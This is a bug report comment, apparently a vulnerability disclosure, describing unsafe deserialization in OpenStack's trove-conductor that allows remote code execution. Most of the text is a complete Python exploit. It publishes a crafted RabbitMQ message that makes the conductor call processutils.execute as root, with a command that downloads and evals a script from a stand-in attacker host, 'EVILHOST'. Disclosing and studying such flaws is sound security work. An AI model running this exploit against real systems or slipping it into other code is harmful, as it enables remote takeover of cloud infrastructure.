Comment 0 for bug 1884457

Revision history for this message
Pavel Toporkov (paul-axe) wrote :

Trove-conductor allows remote DB instance to to describe class name of serialized notification and performs it's deserialization. The security issue is that trove-conductor doesn't check the class name, so attacker can create instance of arbitrary type, and, moreover, as long as instantiating and function call have the same syntax in python - call arbitrary function. It can lead to remote code execution in trove-conductor instance. The attacker has to know only credentials to authenticate in rabbitmq to be able to communicate with trove-conductor. Credentials are usually stored in DB instance, so that's not a big proble.

Example of exploit:

```
import uuid
import pika
import json

HOST = "trove_conductor_hostname"
PORT = "trove_conductor_port"
LOGIN = "your_rabbit_userid"
PASSWORD = "your_rabbit_password"

credentials = pika.PlainCredentials(username=LOGIN, password=PASSWORD)
parameters = pika.ConnectionParameters(host=HOST, port=PORT, credentials=credentials)
connection = pika.BlockingConnection(parameters)

channel = connection.channel()
pld = json.dumps({
    "oslo.message": json.dumps({
        "_unique_id": str(uuid.uuid4()),
        "_msg_id": "bdbe9981fdf84a08bfe0a8c010c366f1",
        "version": "1.0",
        "_timeout": None,
        "_reply_q": "reply_808ddf95d05748b0a6793bb0ee8d3570",
        "args": {
            "serialized_notification": {
                "run_as_root": True,
                "root_helper": "python -c 'eval(__import__(\"requests\").get(\"http://EVILHOST/shell.py\").text)'",
                "notification_classname": "oslo_concurrency.processutils.execute"},
            "notification_args": {}},
        "method": "notify_end"}),
    "oslo.version": "2.0"})

channel.basic_publish(
        exchange='trove',
        routing_key='trove-conductor',
        body=pld,
        properties=pika.BasicProperties(
            content_type='application/json',
            headers=None
            )
        )
```